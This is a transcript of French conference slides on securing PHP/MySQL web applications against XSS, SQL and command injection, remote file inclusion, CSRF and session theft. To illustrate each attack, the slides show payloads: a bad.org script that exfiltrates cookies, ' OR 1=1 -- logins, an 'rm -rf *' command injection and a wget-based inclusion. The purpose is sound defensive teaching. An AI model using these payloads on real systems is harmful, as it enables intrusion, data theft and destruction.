ADF 2009 Sécurisation d applications PHP/MySQL

Dimension: px
Commencer à balayer dès la page:

Download "ADF 2009 Sécurisation d applications PHP/MySQL"

Transcription

1 ADF 2009 Sécurisation d applications PHP/MySQL Magali Contensin

2 Plan 1. Filtrer les entrées, protéger les sorties 2. Sécurité par l obscurité 3. XSS 4. Injections 5. CSRF 6. Détournement de sessions

3 1. Filtrer entrées / protéger sorties Application web entrées : données primaires et secondaires sorties fichiers Requête HTTP en-tête Réponse HTTP Application Web SGBD corps en-tête sessions corps texte ou binaire env.

4 1. Filtrer entrées / protéger sorties Envoi de données par GET Données placées dans - URL - cookies Requête HTTP GET GET /voyage.php?lieu=venise HTTP/1.1 Host: Cookie: lang=fr;id=214535e1fa User-Agent: Firefox en-tête corps vide corps

5 1. Filtrer entrées / protéger sorties Envoi de données par GET Données placées dans - URL - cookies voyage.php?lieu=venise Cookie: lang=fr;id=214535e1fa Envoi provoqué par : - action volontaire ou involontaire - navigateur (récupération images, css, scripts, ) - telnet port 80

6 1. Filtrer entrées / protéger sorties Entrées d un script PHP pour GET GET /voyage.php?lieu=venise HTTP/1.1 Host: User-Agent: Firefox Cookie: lang=fr;id=214535e1fa $_GET $_COOKIE $_SERVER

7 1. Filtrer entrées / protéger sorties Envoi de données par POST Données placées dans - Corps - URL - cookies Requête HTTP POST POST /reservation.php?id=2 HTTP/1.1 Host: Cookie: lang=fr;id=214535e1fa User-Agent: Firefox Content-Type: application/x-www-form-urlencoded Content-Length: 11 lieu=venise en-tête corps

8 1. Filtrer entrées / protéger sorties Envoi de données par POST Données placées dans - Corps lieu=venise - URL reservation.php?id=2 - cookies Cookie: lang=fr;id=214535e1f Envoi provoqué par : - action volontaire ou involontaire - telnet port 80

9 1. Filtrer entrées / protéger sorties Entrées d un script PHP pour GET et POST GET /voyage.php?lieu=venise HTTP/1.1 Host: User-Agent: Firefox Cookie: lang=fr;id=214535e1fa $_REQUEST $_GET $_COOKIE $_POST $_SERVER POST /reservation.php?id=25 HTTP/1.1 Host: User-Agent: Firefox Cookie: lang=fr;id=214535e1fa Content-Type: application/x-www-form-urlencoded Content-Length: 11 lieu=venise

10 1. Filtrer entrées / protéger sorties Entrées d un script PHP pour GET et POST GET /voyage.php?lieu=venise HTTP/1.1 Host: User-Agent: Firefox Cookie: lang=fr;id=214535e1fa $_REQUEST $_GET $_COOKIE $_POST $_SERVER $_FILES POST /reservation.php?id=25 HTTP/1.1 Host: User-Agent: Firefox Cookie: lang=fr;id=214535e1fa Content-Type: application/x-www-form-urlencoded Content-Length: 11 lieu=venise POST

11 1. Filtrer entrées / protéger sorties Entrées d un script PHP GET /voyage.php?lieu=venise HTTP/1.1 Host: User-Agent: Firefox Cookie: lang=fr;id=214535e1fa $_REQUEST $_GET $_COOKIE $_POST $_SERVER $_FILES $_ENV POST /reservation.php?id=25 HTTP/1.1 Host: User-Agent: Firefox Cookie: lang=fr;id=214535e1fa Content-Type: application/x-www-form-urlencoded Content-Length: 11 lieu=venise POST

12 1. Filtrer entrées / protéger sorties Entrées d un script PHP GET /voyage.php?lieu=venise HTTP/1.1 Host: User-Agent: Firefox Cookie: lang=fr;id=214535e1fa $_REQUEST $_GET $_COOKIE $_POST $_SERVER $_FILES $_ENV $_SESSION POST /reservation.php?id=25 HTTP/1.1 Host: User-Agent: Firefox Cookie: lang=fr;id=214535e1fa Content-Type: application/x-www-form-urlencoded Content-Length: 11 lieu=venise POST fichier session données secondaires

13 1. Filtrer entrées / protéger sorties Envoi de données malveillantes Modification d un formulaire Modification de la query string Requête forgée (telnet port 80, TamperData)

14 1. Filtrer entrées / protéger sorties Implications méthode HTTP différente de celle attendue champs en-tête HTTP modifiés (User-Agent) absence d arguments attendus arguments ajoutés = nouvelles variables si register_globals = on valeurs inattendues pour des arguments

15 1. Filtrer entrées / protéger sorties Données reçues peuvent être : stockées dans SGBD, fichier, session XSS stocké utilisées pour interroger un SGBD SQL Injection utilisées pour exécuter un programme Injection de commandes Ne jamais faire confiance aux données envoyées par le client

16 1. Filtrer entrées / protéger sorties Actions à entreprendre du côté du programmeur Vérifier toute entrée Données à vérifier $_GET, $_POST, $_COOKIE, $_REQUEST, $_FILES, $_SERVER, $_ENV et $_SESSION Contrôles à effectuer - type données : intval, ctype_*, cast - présence des données attendues - valeurs de nombres comprises entre deux bornes - taillemin < taille donnée < taillemax - jeu de caractères - valeur null autorisée ou non - select, radio, : valeur comprise dans une liste

17 1. Filtrer entrées / protéger sorties Actions à entreprendre du côté du programmeur Vérifier toute entrée Données à vérifier $_GET, $_POST, $_COOKIE, $_REQUEST, $_FILES, $_SERVER, $_ENV et $_SESSION Contrôles à effectuer Filtrage - liste blanche : Indique ce qui est autorisé - liste noire : Indique ce qui est interdit A éviter car plus permissif

18 1. Filtrer entrées / protéger sorties Actions à entreprendre du côté du programmeur Vérifier toute entrée Protéger les données passées à un interpréteur Injections SQL : guillemets autour de la donnée mysql_real_escape_string($data) Injection null dans les chaînes, regexp Injection de commande (exec, system, ) escapeshellarg($data), escapeshellcommand($data)

19 1. Filtrer entrées / protéger sorties Actions à entreprendre du côté du programmeur Vérifier toute entrée Protéger les données passées à un interpréteur Protéger les opérations sur les fichiers (file, readfile, unlink, include, upload, ) Vérification du chemin Suppression du chemin realpath($chemin) basename($chemin) <?php // script code.php header("content-type:text/plain"); $fichier = basename($_get["p"]); readfile($fichier);?>

20 1. Filtrer entrées / protéger sorties Actions à entreprendre du côté du programmeur Vérifier toute entrée Protéger les données passées à un interpréteur Protéger les opérations sur les fichiers (file, readfile, unlink, include, upload, ) File upload - Lire les données avec $_FILES - Manipuler avec move_uploaded_file - Renommer (ne pas utiliser le nom de fichier envoyé) - Vérifier le type du fichier (interdit l upload de scripts)

21 1. Filtrer entrées / protéger sorties Actions à entreprendre du côté du programmeur Vérifier toute entrée Protéger les données passées à un interpréteur Protéger les opérations sur les fichiers Filtrer les sorties vers le client Définir le jeu de caractères de la page <meta http-equiv="content-type«content="text/html; charset=utf-8"/> Coder les caractères spéciaux htmlentities, htmlspecialchars(chaine, ENT_QUOTES)

22 1. Filtrer entrées / protéger sorties Actions à entreprendre du côté du programmeur Vérifier toute entrée Protéger les données passées à un interpréteur Protéger les opérations sur les fichiers Filtrer les sorties vers le client Initialiser les variables Récupérer les données par la méthode attendue Ne pas utiliser : extract, $_REQUEST, register_globals à on

23 1. Filtrer entrées / protéger sorties Actions à entreprendre du côté administrateur php.ini register_globals off <?php // login.php if (verifclient($_post['login'], $_POST['passwd'])){ $ok = true ; } if ($ok){ }?>

24 1. Filtrer entrées / protéger sorties Actions à entreprendre du côté administrateur php.ini register_globals off error_reporting E_ALL open_basedir arborescence_autorisee allow_url_fopen off disable_functions liste_fonctions_interdites magic_quotes_gpc off

25 1. Filtrer entrées / protéger sorties Actions à entreprendre du côté administrateur php.ini fichier automatiquement inclus (auto_prepend_file) : foreach($_post as $cle=>$val){ $_POST[$cle] = strip_tags($val); } mod_security attention à AllowOverride All ou Options autorise la modification de directives du php.ini dans un.htaccess

26 Plan 1. Filtrer les entrées, protéger les sorties 2. Sécurité par l obscurité 3. XSS 4. Injections 5. CSRF 6. Détournement de sessions

27 2. Sécurité par l obscurité Informations données par Apache ServerSignature

28 2. Sécurité par l obscurité Informations données par Apache ServerTokens HTTP/ OK HTTP/ OK Date: Sat, 26 Apr :54:37 GMT Server: Apache/ (Unix) PHP/4.4.2 mod_ssl/ OpenSSL/0.9.7a Connection: close Content-Type: text/html X-Powered-By: PHP/4.4.2 Connection closed by foreign host.

29 2. Sécurité par l obscurité Informations données par PHP expose_php réponse HTTP 200 OK Connection: close Date: Sat, 26 Apr :00:03 GMT Server: Apache Content-Type: text/html X-Powered-By: PHP/4.4.2

30 2. Sécurité par l obscurité Informations données par PHP expose_php réponse HTTP crédits?=phpb8b5f2a0-3c92-11d3-a3a9-4c7b08c10000

31 2. Sécurité par l obscurité Informations données par PHP expose_php réponse HTTP crédits images?=phpe9568f34-d428-11d2-a769-00aa001acf42?=phpe9568f35-d428-11d2-a769-00aa001acf42?=phpe9568f36-d428-11d2-a769-00aa001acf42

32 2. Sécurité par l obscurité Informations données par PHP expose_php réponse HTTP crédits images ext/standard/info.h : #define PHP_LOGO_GUID "PHPE9568F34-D428-11d2-A769-00AA001ACF42" #define PHP_EGG_LOGO_GUID "PHPE9568F36-D428-11d2-A769-00AA001ACF42" #define ZEND_LOGO_GUID "PHPE9568F35-D428-11d2-A769-00AA001ACF42" #define PHP_CREDITS_GUID "PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000"

33 2. Sécurité par l obscurité Informations données par l extension.php Associer une autre extension AddType application/x-httpd-php.asp Parser.html AddType application/x-httpd-php.htm.html Application par défaut DefaultType application/x-httpd-php Réécriture rewriteengine on rewriterule (.+).html$ $1.php [L]

34 2. Sécurité par l obscurité Cookie de session session.name

35 2. Sécurité par l obscurité Affichage des erreurs Warning: sort() expects parameter 1 to be array, integer given in /web/crfb/test.php on line 7 error_reporting display_errors display_startup_errors log_errors error_log report_memleaks track_errors

36 2. Sécurité par l obscurité Attention aux modif. dans le.htaccess <Directory /web/crfb/pagesperso/magali/testerr> AllowOverride All </Directory>.htaccess php_flag display_errors on php_value directive valeur PHP_INI_PERDIR register_globals, variables_order, register_long_arrays, auto_append_files, auto_prepend_files, magic_quotes_gpc, post_max_size, upload_max_filesize, short_open_tags, asp_tags PHP_INI_ALL

37 2. Sécurité par l obscurité Attention aux modif. dans le.htaccess <Directory /web/crfb/pagesperso/magali/testerr> AllowOverride All </Directory>.htaccess php_flag display_errors on php_value upload_max_filesize 900M php_admin_flag display_errors on php_admin_value upload_max_filesize 10M

38 2. Sécurité par l obscurité Informations données par des fichiers non protégés sur le serveur <?php echo "bonjour ", $_GET['nom'];...?>

39 2. Sécurité par l obscurité Informations données par des fichiers non protégés sur le serveur

40 2. Sécurité par l obscurité Informations données par des fichiers non protégés sur le serveur

41 2. Sécurité par l obscurité Informations données par des fichiers non protégés sur le serveur <Files ~ "^\.ht ~$"> Order allow,deny RedirectMatch 404 ~$ Deny from all RedirectMatch 404 \.htaccess </Files>

42 2. Sécurité par l obscurité Informations données par les listings <Directory "/web/crfb/"> Options ExecCGI Indexes </Directory>

43 2. Sécurité par l obscurité Informations données par les logiciels

44 2. Sécurité par l obscurité Informations données par les logiciels restreindre accès (.htaccess ou sessions) configurer pour une info minimale interdire les fonctions php (disable_functions) php_uname, phpversion, mysql_get_server_info

45 2. Sécurité par l obscurité Informations données par php disable_functions = "phpinfo"

46 2. Sécurité par l obscurité Code source <?php show_source($_get['fichier'])?>

47 2. Sécurité par l obscurité Code source disable_functions = "show_source, highlight_file" open_basedir = "/web/:/tmp/"

48 2. Sécurité par l obscurité Code source # AddType application/x-httpd-php-source.phps AddType application/x-httpd-php.php.php3.php4.phps RedirectMatch 404 \.phps$

49 2. Sécurité par l obscurité Masquer Apache Apache 1.3 modifier httpd.h #define SERVER_BASEPRODUCT "Apache #define SERVER_BASEREVISION "1.3.34" Apache 2.0 modifier ap_release.h #define AP_SERVER_BASEVENDOR "Apache Software Foundation" #define AP_SERVER_BASEPRODUCT "Apache" #define AP_SERVER_MAJORVERSION_NUMBER 2 #define AP_SERVER_MINORVERSION_NUMBER 0 #define AP_SERVER_PATCHLEVEL_NUMBER 58

50 2. Sécurité par l obscurité Interdire l indexation fichier robots.txt User-agent: * Disallow: /cgi-bin/ Disallow: /docs/

51 2. Sécurité par l obscurité Interdire la mise en cache de données dans le navigateur Complétion formulaires <form action="valider.php" method="post"> <form action="valider.php" AUTOCOMPLETE="off" method="post">

52 2. Sécurité par l obscurité Interdire la mise en cache de données dans le navigateur Complétion formulaires Page web Pragma:no-cache HTTP/1.0 Cache-control:no-cache HTTP/1.1 Expires header("cache-control: no-cache"); header("pragma: no-cache"); header("expires: Thu, 01 Jan :00:00 GMT");

53 2. Sécurité par l obscurité Masquer les données de connexion SGBD httpd.conf <Directory "/web/crfb/pagesperso/magali/testsiars"> Include /home/magali/connexion.txt </Directory> SetEnv dblogin "magali" SetEnv dbpass "m2pasmag" SetEnv dbbd "ma_base" SetEnv dbhost " " <?php echo $_SERVER['dbLogin'];?> <?php system('cat /home/magali/connexion.txt');?>

54 2. Sécurité par l obscurité Masquer les données de connexion SGBD httpd.conf.htaccess

55 2. Sécurité par l obscurité Masquer les données de connexion SGBD httpd.conf.htaccess directives php mysql.default_user mysql.default_password mysql.default_port mysql.default_host get_cfg_var("mysql.default_password");

56 Plan 1. Filtrer les entrées, protéger les sorties 2. Sécurité par l obscurité 3. Protection contre le XSS 4. Injections 5. CSRF 6. Détournement de sessions

57 3. Protection contre le XSS Attaque Stockée sur le serveur web XSS envoyé par le pirate nom Smith<script src=http://bad.org/c.js></script> mail 1 Erreur 1 : XSS pas de vérification des entrées 2 Application Web Smith <script src=http://bad.org/c.js> </script> XSS SGBD <?php import_request_variables('g', 'f_'); $req = "INSERT INTO users (nom, mail) VALUES ('$f_nom', '$f_mail')" ; $res = mysql_query($req) or die("erreur"); echo "donnees inserees";?> 3

58 3. Protection contre le XSS Attaque Stockée sur le serveur web l accès à une ressource provoque l envoi du XSS au navigateur admin. 1 GET liste_inscrits.php XSS Application Web Smith <script src=http://bad.org/c.js> </script> XSS SGBD 3 Smith <script src=http://bad.org/c.js></script> Erreur 2 : pas de protection des sorties 2 <?php $req = "SELECT nom, mail FROM users"; $res = mysql_query($req) or die("erreur"); while ($ligne = mysql_fetch_assoc($res)){ echo $ligne['nom']," ",$ligne['mail'],"<br>"; }?>

59 3. Protection contre le XSS Attaque Stockée sur le serveur web le XSS est exécuté par le navigateur admin. 1 GET liste_inscrits.php 3 5 XSS Application Web Smith <script src=http://bad.org/c.js> </script> vol de session idsess=a2345effb9ccd XSS SGBD GET document.write( <img src=http://bad.org/c.php? +document.cookie+ width=1> ) 4 GET c.js bad.org

60 3. Protection contre le XSS Actions à entreprendre Filtrer les entrées (par liste blanche) éventuellement utiliser utf8_decode et strip_tags Préciser le jeu de caractères Protéger les sorties (htmlentities, htmlspecialchars) <?php $req = "SELECT nom, mail FROM users"; $res = mysql_query($req) or die("erreur"); while ($ligne = mysql_fetch_assoc($res)){ echo htmlentities($ligne['nom'], ENT_QUOTES), " ", htmlentites($ligne['mail'], ENT_QUOTES), "<br>"; }?> Smith <script src=http://bad.org/c.js></script>

61 Plan 1. Filtrer les entrées, protéger les sorties 2. Sécurité par l obscurité 3. Protection contre le XSS 4. Protection contre les Injections 5. CSRF 6. Détournement de sessions

62 4. Protection contre les injections SQL magic_quotes_gpc = off ' OR 1 = POST HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 24 login=%27+or+1+=+1+--%20 Application Web 2 <?php... $login = $_POST['login']; $pwd = $_POST['passwd']; $req = "SELECT login, prenom FROM utilisateur WHERE login='$login' AND password='$pwd'"; $result = mysql_query($req) or exit("erreur"); if (mysql_num_rows($result) == 0){ die("erreur d'authentification "); } $ligne = mysql_fetch_assoc($result); echo "bonjour ", $ligne['prenom'], "!";?>

63 4. Protection contre les injections SQL magic_quotes_gpc = off ' OR 1 = POST HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 24 login=%27+or+1+=+1+--%20 2 SELECT login, prenom FROM utilisateur WHERE login='' OR 1 = 1 -- ' AND password='' Application Web SGBD

64 4. Protection contre les injections SQL magic_quotes_gpc = off ' OR 1 = POST HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 24 login=%27+or+1+=+1+--%20 2 SELECT login, prenom FROM utilisateur WHERE login='' OR 1 = 1 -- ' AND password='' bonjour Magali! 4 Application Web 3 SGBD login prenom mag Magali admin Grand chef

65 4. Protection contre les injections SQL magic_quotes_gpc = off ' OR 1 = 1 LIMIT 1, POST HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 36 login=%27+or+1+=+1+limit+1%2c1+--%20 bonjour Grand chef! 4 Application Web SELECT login, prenom FROM utilisateur WHERE login='' OR 1 = 1 LIMIT 1,1 -- ' AND password='' 2 3 SGBD login prenom mag Magali admin Grand chef

66 4. Protection contre les injections SQL - actions à entreprendre côté programmeur protéger les données avec mysql_real_escape_string <?php... $login = $_POST['login']; $pwd = $_POST['passwd']; $req = "SELECT login, prenom FROM utilisateur WHERE login='". mysql_real_escape_string($login). "' AND password='". mysql_real_escape_string($pwd). "'"; $result = mysql_query($req) or exit("erreur"); if (mysql_num_rows($result) == 0){ die("erreur d'authentification "); } $ligne = mysql_fetch_assoc($result); echo "bonjour ", $ligne['prenom'], "!";?> ' OR 1 = 1 LIMIT 1,1 -- SELECT login, prenom FROM utilisateur WHERE login='\' OR 1 = \'1 LIMIT 1,1 -- ' AND password='';

67 4. Protection contre les injections SQL - actions à entreprendre côté programmeur protéger les données avec mysql_real_escape_string filtrer les entrées : taille, type,... cast des nombres ou mettre des ' ' autour des nombres $req = "UPDATE commande SET quantite = $nb WHERE ref=$ref";?ref=21&nb=5,%20desc=load%20infile('/etc/passwd') UPDATE commande SET quantite=5, desc=load INFILE('/etc/passwd') WHERE ref=21

68 4. Protection contre les injections SQL - actions à entreprendre côté programmeur protéger les données avec mysql_real_escape_string filtrer les entrées : taille, type,... cast des nombres ou mettre des ' ' autour des nombres utiliser des requêtes préparées $log = $_POST['login']; $log = $_POST['login']; $pwd = $_POST['passwd']; // connexion $db = new mysqli(ip, LOGIN, PASS, DB, PORT) or die('echec'); // preparer la requete $req = "SELECT prenom, mail FROM users WHERE login=? AND password=?"; $prep = $db->prepare($req) or die ('pb'); $prep->bind_param("ss", $log, $pwd); // lier les 2 var. de type string $prep->execute(); $prep->bind_result($prenom, $mail); // lier les colonnes aux var. $prep->fetch() ; echo "bonjour ", htmlentities($prenom), " votre mail est ", htmlentities($mail); $prep->close(); // deconnexion $db->close();

69 4. Protection contre les injections SQL - actions à entreprendre côté admin. magic_quotes_gpc aucun affichage d erreur sur un serveur en production privilèges restreints pour le compte mysql utilisé pour le web plusieurs instances de mysql avec mysqld_multi protéger les connexions entre le serveur web et le serveur SGBD

70 4. Protection contre les injections Commandes <?php echo system("ls -1 *.".$_GET['ext']);?> 1 listing.php /listing.php?ext=php;cd/;rm+-rf+* 2 ls -1 *.php;cd/;rm+-rf+* cnx.php index.php connectbase.php listing.php 3 4 / 5

71 4. Protection contre les injections Commandes - actions à entreprendre Développeur Filtrer les entrées if (!ctype_alpha($ext)){ die("argument non valide"); } Protéger des méta-caractères (escapeshellcmd, escapeshellarg) Administrateur Désactiver si possible system, exec, shell_exec (disable_functions)

72 4. Protection contre les injections Code (RFI Remote File Inclusion) exec bad.org GET bad.txt 3 bad.txt <?php echo system('cd /tmp; ls; wget ls');?> 5 2 test.php?p=http://bad.org/bad.txt%00 4 wget 1 test.php <?php require($_get['p'].".php");?> <?php /tmp echo system('cd /tmp; ls; wget ls');?>

73 4. Protection contre les injections Code - actions à entreprendre Développeur Filtrer les entrées Chemin : utiliser basename, realpath Protéger des méta-caractères (escapeshellcmd, escapeshellarg) Administrateur Désactiver si possible eval (disable_functions) allow_url_fopen à off (allow_url_include depuis PHP 5.2.0) Utiliser curl Fixer le répertoire d inclusion avec open_basedir Filtrer les connexions sortantes sur le pare-feu

74 5. Protection contre les injections Null injection (caractère \0) <?php $fichier = basename($_get['nom']); readfile($fichier.".txt");?>?nom=nom_script.php%00 <?php if (preg_match("/[^a-za-z]/", $_GET['chaine'])){ die('erreur'); } else{ echo 'ok'; }?chaine=test1?>?chaine=%00test1 Actions à entreprendre Filtrer les entrées (méthode liste blanche)

75 Plan 1. Filtrer les entrées, protéger les sorties 2. Sécurité par l obscurité 3. XSS 4. Injections 5. CSRF 6. Détournement de sessions

76 5. Protection contre le CSRF Ajouter un commentaire <img src='article.php?id=3&action=del' width='0'> <img src='article.php?id=3&action=del' width='0'> 1 membre d un site protégé 3 SGBD 2 GET article.php?id=3&action=read membre d un site protégé 4 <img src='article.php?id=3&action=del' width='0'> GET

77 5. Protection contre le CSRF Actions à entreprendre Majorité des attaques = méthode GET Utiliser POST si mise à jour de données Ne pas utiliser $_REQUEST pour récupérer les données => Protège contre les attaques menées par GET Attaques utilisant POST Forcer l utilisation du formulaire du site (idée s assurer que les données reçues par POST proviennent bien d un formulaire envoyé par le site) => Utiliser un identifiant aléatoire pour chaque formulaire, stocké en session avec un délai de validité

78 Plan 1. Filtrer les entrées, protéger les sorties 2. Sécurité par l obscurité 3. XSS 4. Injections 5. CSRF 6. Détournement de sessions

79 6. Protection contre le vol de session Détourner une session = fournir un id valide 1 login=zorro&passwd=paszorro sessid=21000 Bonjour Zorro 2 3 sessid=21000 article=12&action=voir sessid=21000 article=5&action=supprimer

80 6. Protection contre le vol de session Détourner une session = fournir un id valide Identifiant transmis par cookie, URL, champ form. Attaques pour obtenir un identifiant valide Prédiction (id = nombre entier incrémenté) Force brute Fixation Vol o id dans l URL (historique, bookmark, logs, envoi par mail, ) o vol de cookie (XSS, ordinateur public) o interception (écoute réseau) o consultation des fichiers de session sur le serveur

81 6. Protection contre le vol de session Actions à entreprendre Développeur Générer un nouvel id de session après identification (session_regenerate_id) Limiter la durée de validité d une session Utiliser un 2 ème moyen de suivi de session (User-Agent) Toujours proposer une déconnexion Utiliser les identifiants de session PHP Administrateur session.use_only_cookies SSL protéger les fichiers de session (stocker dans SGBD, utiliser open_basedir)

82 Sur Internet Top 25 Most Dangerous Programming Errors WASC (Web Application Security Consortium) OWASP (Open Web Application Security Project) CERTA (Centre d Expertise Gouvernemental de Réponse et de Traitement des Attaques Informatiques) CERT (Computer Emergency Response Team)

Conseils en écriture PHP/MySQL. Magali Contensin

Conseils en écriture PHP/MySQL. Magali Contensin Tuto JRES 2010 Conseils en écriture PHP/MySQL Magali Contensin contensin@ibdml.univ-mrs.fr mrs 1 Plan 1. Filtrer les entrées 2. Protéger les sorties 3. Interdire la mise en cache de données 4. Masquer

Plus en détail

Sécurité web client. Magali Contensin. ANF Dev Web ASR Carry-Le-Rouet. 25 octobre 2012

Sécurité web client. Magali Contensin. ANF Dev Web ASR Carry-Le-Rouet. 25 octobre 2012 web client Magali Contensin 25 octobre 2012 ANF Dev Web ASR Carry-Le-Rouet Plan Visibilité du code La vérification des données côté client est insuffisante XSS Usurpation de contenu AJAX Visibilité du

Plus en détail

Sécurité d un site php

Sécurité d un site php Sensibilisation IUT de Fontainebleau 8 juin 2015 1 2 1 2 Enjeux L application manipulent-ils des données fiables? L application interagit-elle avec le bon interlocuteur? Le secret des données échangées

Plus en détail

Configuration/Sécurité et performances avec PHP

Configuration/Sécurité et performances avec PHP Configuration/Sécurité et performances avec PHP Deux installations pour PHP apache Comme un module CGI Chaque invocation d'un script php entraine le démarrage d'un processus Un binaire PHP est exécuté

Plus en détail

Sécurité PHP et MySQL

Sécurité PHP et MySQL Sécurité PHP et MySQL Ce document est extrait du travail de diplôme de M. DIZON dans l état.. Sécurité PHP et MySQL...1 1 Introduction...1 2 Sécurisation des scripts PHP...2 2.1 Introduction...2 2.2 Filtrage

Plus en détail

Sécurité des sites Web Pas un cours un recueil du net. INF340 Jean-François Berdjugin

Sécurité des sites Web Pas un cours un recueil du net. INF340 Jean-François Berdjugin Sécurité des sites Web Pas un cours un recueil du net INF340 Jean-François Berdjugin Vulnérabilité Définition (wikipédia) : Dans le domaine de la sécurité informatique, une vulnérabilité est une faiblesse

Plus en détail

T. HSU Sécurité des programmes PHP

T. HSU Sécurité des programmes PHP Sécurité des programmes PHP T. HSU IUT de LENS, Département informatique November 13, 2012 Part I Introduction à PHP Fonctionnement 1 : Requète PHP 2 : Aller chercher la page MySQL Page PHP Moteur PHP

Plus en détail

Principales failles de sécurité des applications Web Principes, parades et bonnes pratiques de développement

Principales failles de sécurité des applications Web Principes, parades et bonnes pratiques de développement Guillaume HARRY l Contenu sous licence Creative Commons CC-BY-NC-ND Principales failles de sécurité des applications Web Principes, parades et bonnes pratiques de développement P. 2 1. Introduction 2.

Plus en détail

La sécurité pour les développeurs. Christophe Villeneuve @hellosct1

La sécurité pour les développeurs. Christophe Villeneuve @hellosct1 La sécurité pour les développeurs Christophe Villeneuve @hellosct1 Qui... est Christophe Villeneuve? afup lemug.fr mysql mariadb drupal demoscene firefoxos drupagora phptour forumphp solutionlinux demoinparis

Plus en détail

PHP & BD. PHP & Bases de données. Logiciels & matériels utilisés. Bases de données et Web

PHP & BD. PHP & Bases de données. Logiciels & matériels utilisés. Bases de données et Web PHP & Bases de données La quantité de données utilisée par certains sites web nécessite l'utilisation d'une base de données Il faut donc disposer d'un SGBD (mysql, postgresql, oracle, ) installé sur un

Plus en détail

HACKEZ-MOI CETTE APPLICATION. RMLL, 2010 Bordeaux, France, 7 juillet 2010

HACKEZ-MOI CETTE APPLICATION. RMLL, 2010 Bordeaux, France, 7 juillet 2010 HACKEZ-MOI CETTE APPLICATION RMLL, 2010 Bordeaux, France, 7 juillet 2010 1 MENU DU JOUR Comment attaquer une application Web Découverte Code ouvert Cas réels 2 AFUP http://www.afup.org/ 3 AYE CAPTAIN Groupe

Plus en détail

Sécurite Web. Xavier Tannier xavier.tannier@limsi.fr. Yann Jacob yann.jacob@lip6.fr

Sécurite Web. Xavier Tannier xavier.tannier@limsi.fr. Yann Jacob yann.jacob@lip6.fr Sécurite Web Xavier Tannier xavier.tannier@limsi.fr Yann Jacob yann.jacob@lip6.fr Généralités 80 % des sites contiennent au moins une faille de sécurité 24 familles de failles différentes : on ne présente

Plus en détail

HERVÉ SCHAUER CONSULTANTS Cabinet de Consultants en Sécurité Informatique depuis 1989 Spécialisé sur Unix, Windows, TCP/IP et Internet

HERVÉ SCHAUER CONSULTANTS Cabinet de Consultants en Sécurité Informatique depuis 1989 Spécialisé sur Unix, Windows, TCP/IP et Internet HERVÉ SCHAUER CONSULTANTS Cabinet de Consultants en Sécurité Informatique depuis 1989 Spécialisé sur Unix, Windows, TCP/IP et Internet Forum AFUP 2003 Sécurité PHP Alain Thivillon Alain Thivillon

Plus en détail

TD2-1 : Application client-serveur V2.3.0

TD2-1 : Application client-serveur V2.3.0 TD2-1 : Application client-serveur V2.3.0 Cette œuvre est mise à disposition selon les termes de la licence Creative Commons Attribution Pas d'utilisation Commerciale Partage à l'identique 3.0 non transposé.

Plus en détail

Authentification, droits d'accès et sécurité des applis web

Authentification, droits d'accès et sécurité des applis web Authentification, droits d'accès et sécurité des applis web Identification : savoir qui est l'utilisateur basé sur des nom de login enregistrés : base de données, annuaires, fichiers Authentification :

Plus en détail

TD3 : PHP «avancé» V2.4.0

TD3 : PHP «avancé» V2.4.0 TD3 : PHP «avancé» V2.4.0 Cette œuvre est mise à disposition selon les termes de la licence Creative Commons Attribution Pas d'utilisation Commerciale Partage à l'identique 3.0 non transposé. Document

Plus en détail

Accès au serveur SQL. Où ranger les accès au serveur SQL?

Accès au serveur SQL. Où ranger les accès au serveur SQL? 150 requête SQL, cela aura un impact sur un nombre limité de lignes et non plus sur l ensemble des données. MySQL propose une clause originale en SQL : LIMIT. Cette clause est disponible avec les différentes

Plus en détail

Sécurité PHP. FaillesUpload

Sécurité PHP. FaillesUpload Sécurité PHP FaillesUpload Table des matières Introduction...... 3 L upload de fichiers......... 3 Protections coté client...... 4 Protections coté serveur... 5 1. Vérification du type de contenu......

Plus en détail

Procédure d'installation du langage PHP pour Apache

Procédure d'installation du langage PHP pour Apache Version du logiciel : 5.3.8 VEREMES 42 av. des Jardins 66240 St-Estève www.veremes.com VEREMES Version : 5.3.8 Page 1 / 12 Table des matières 1. Prérequis... 4 2. Téléchargement... 5 3. Installation...

Plus en détail

Web dynamique. Techniques, outils, applications. (Partie C)

Web dynamique. Techniques, outils, applications. (Partie C) Web dynamique Techniques, outils, applications (Partie C) Nadir Boussoukaia - 2006 1 SOMMAIRE 1. MySQL et PHP (20 min) 2. SQL (petits rappels) (20 min) 2 MySQL et PHP Synthèse 3 MySQL et PHP SGBD MySQL

Plus en détail

Programmation Web. Sites dynamiques et bases de données. Mathieu Lacroix. I.U.T. de Villetaneuse. Année 2015-2016

Programmation Web. Sites dynamiques et bases de données. Mathieu Lacroix. I.U.T. de Villetaneuse. Année 2015-2016 Programmation Web Sites dynamiques et bases de données Mathieu Lacroix I.U.T. de Villetaneuse Année 2015-2016 E-mail : mathieu.lacroix@iutv.univ-paris13.fr Page Web : http: // www-lipn. univ-paris13. fr/

Plus en détail

PHP CLÉS EN MAIN. 76 scripts efficaces pour enrichir vos sites web. par William Steinmetz et Brian Ward

PHP CLÉS EN MAIN. 76 scripts efficaces pour enrichir vos sites web. par William Steinmetz et Brian Ward PHP CLÉS EN MAIN 76 scripts efficaces pour enrichir vos sites web par William Steinmetz et Brian Ward TABLE DES MATIÈRES INTRODUCTION 1 1 TOUT CE QUE VOUS AVEZ TOUJOURS VOULU SAVOIR SUR LES SCRIPTS PHP

Plus en détail

HERVÉ SCHAUER CONSULTANTS. Cabinet de Consultants en Sécurité Informatique depuis 1989 Spécialisé sur Unix, Windows, TCP/IP et Internet

HERVÉ SCHAUER CONSULTANTS. Cabinet de Consultants en Sécurité Informatique depuis 1989 Spécialisé sur Unix, Windows, TCP/IP et Internet HERVÉ SCHAUER CONSULTANTS Cabinet de Consultants en Sécurité Informatique depuis 1989 Spécialisé sur Unix, Windows, TCP/IP et Internet FORUM PHP 2007 Audit de code, retour d'expérience Nicolas Collignon

Plus en détail

La sécurisation d applications

La sécurisation d applications Université Toulouse 1 Sciences Sociales 10 mars 2008 Les firewalls ne suffisent plus Mais ont-ils jamais été suffisants? La protection à 100% n existe pas. De plus certains protocoles doivent absolument

Plus en détail

PHP et MySQL : notions de sécurité

